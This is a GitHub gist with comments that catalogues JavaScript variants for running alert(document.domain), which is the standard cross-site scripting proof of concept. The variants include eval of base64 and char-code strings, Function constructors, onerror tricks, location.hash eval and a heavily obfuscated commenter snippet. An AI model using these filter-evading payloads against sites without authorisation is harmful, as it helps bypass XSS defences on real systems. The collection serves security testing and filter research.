Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
top['alert'](document.domain);
top[8680439..toString(30)](document.domain);
top[/alert/.source](document.domain);
alert(this['document']['domain']);
// Indirect Invocation
alert.call(null, document.domain);
alert.apply(null, [document.domain]);
alert.bind()(document.domain);
Reflect.apply(alert, null, [document.domain]);
alert.valueOf()(document.domain);
with(document) alert(domain);
Promise.all([document.domain]).then(alert);
document.domain.replace(/.*/, alert);
// Array methods
[document.domain].find(alert);
[document.domain].findIndex(alert);
[document.domain].filter(alert);
[document.domain].every(alert);
[document.domain].forEach(alert);
// Alternate array syntax (all array methods apply)
Array(document.domain).find(alert);
Array.of(document.domain).find(alert);
(new Array(document.domain)).find(alert);
// Other Datastructure Methods
(new Map()).set(1, document.domain).forEach(alert);
(new Set([document.domain])).forEach(alert);
// Evaluated
eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs='));
eval(atob(/YWxlcnQoZG9jdW1lbnQuZG9tYWluKTs=/.source));
eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,59));
setTimeout`alert\u0028document.domain\u0029`;
Set.constructor`alert\x28document.domain\x29```;
(new Function('alert(document.domain)'))();
(new (Object.getPrototypeOf(async function(){}).constructor)('alert(document.domain)'))();
Function('x','alert(x)')(document.domain);
// Template Literal Expression
`${alert(document.domain)}`;
// onerror assignment
onerror=alert;throw document.domain;
onerror=eval;throw'=alert\x28document.domain\x29';
// With location.hash = #alert(document.domain)
eval(location.hash.substr(1))
@cmbuckley

This comment has been minimized.

Copy link

@cmbuckley cmbuckley commented Feb 22, 2018

Little trivial, but there’s the alternative Array formats: Array(document.domain), new Array(document.domain), Array.of(document.domain)

@cmbuckley

This comment has been minimized.

Copy link

@cmbuckley cmbuckley commented Feb 22, 2018

Another arguably slightly different one: Function('x','alert(x)')(document.domain)

@E314c

This comment has been minimized.

Copy link

@E314c E314c commented Feb 22, 2018

also, of the back of the "Array processors" idea, you've also got promises and chains:
Promise.all([document.domain]).then(alert)

@E314c

This comment has been minimized.

Copy link

@E314c E314c commented Feb 22, 2018

and a reminder that document and alert are both parents of window:
alert(this['document']['domain']);
(though I don't know if that's useful information)

@avlidienbrunn

This comment has been minimized.

Copy link

@avlidienbrunn avlidienbrunn commented Feb 22, 2018

[a-z()]: with(document)alert(domain)

@tomnomnom

This comment has been minimized.

Copy link
Owner Author

@tomnomnom tomnomnom commented Feb 22, 2018

Thanks for the suggestions, @cmbuckley, @E314c, @avlidienbrunn :)

@mikaelv2

This comment has been minimized.

Copy link

@mikaelv2 mikaelv2 commented Feb 22, 2018

Try this one:
([,ᅠ,,,,ᅠᅠ]=[]+{},[ᅠᅠᅠ,ᅠ‌,ᅠᅠᅠᅠ,ᅠᅠ‌,,ᅠᅠᅠᅠᅠ,ᅠᅠᅠ‌,ᅠᅠᅠᅠᅠᅠ,,,ᅠᅠᅠᅠ‌]=[!!ᅠ]+!ᅠ+ᅠ.ᅠ) [ᅠᅠ+=ᅠ+ᅠᅠᅠᅠ‌+ᅠᅠᅠᅠᅠᅠ+ᅠᅠᅠ+ᅠ‌+ᅠᅠᅠᅠ+ᅠᅠ+ᅠᅠᅠ+ᅠ+ᅠ‌][ᅠᅠ] (ᅠᅠᅠᅠᅠ+ᅠᅠᅠ‌+ᅠᅠ‌+ᅠ‌+ᅠᅠᅠ+'(document.domain)')``

@s0md3v

This comment has been minimized.

Copy link

@s0md3v s0md3v commented Feb 24, 2018

((((alert))))(domain)

Yep, you can do just domain instead of document.domain

@E314c

This comment has been minimized.

Copy link

@E314c E314c commented Feb 26, 2018

@mikaelv2 Is there a good place to explain how yours works? I get that it's getting strings of internals like false, true undefined, but I'm lost as to how it accomplishes it and I'd like to know how to make my own arbitrary calls.

@c0d3G33k

This comment has been minimized.

Copy link

@c0d3G33k c0d3G33k commented Jan 23, 2019

alert(eval('\144\157\143\165\155\145\156\164\056\144\157\155\141\151\156'))

@MayurUdiniya

This comment has been minimized.

Copy link

@MayurUdiniya MayurUdiniya commented Sep 10, 2019

[origin].map(alert)

@acmello

This comment has been minimized.

Copy link

@acmello acmello commented Mar 18, 2021

not alert but what about

{prompt`${document.domain}`}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment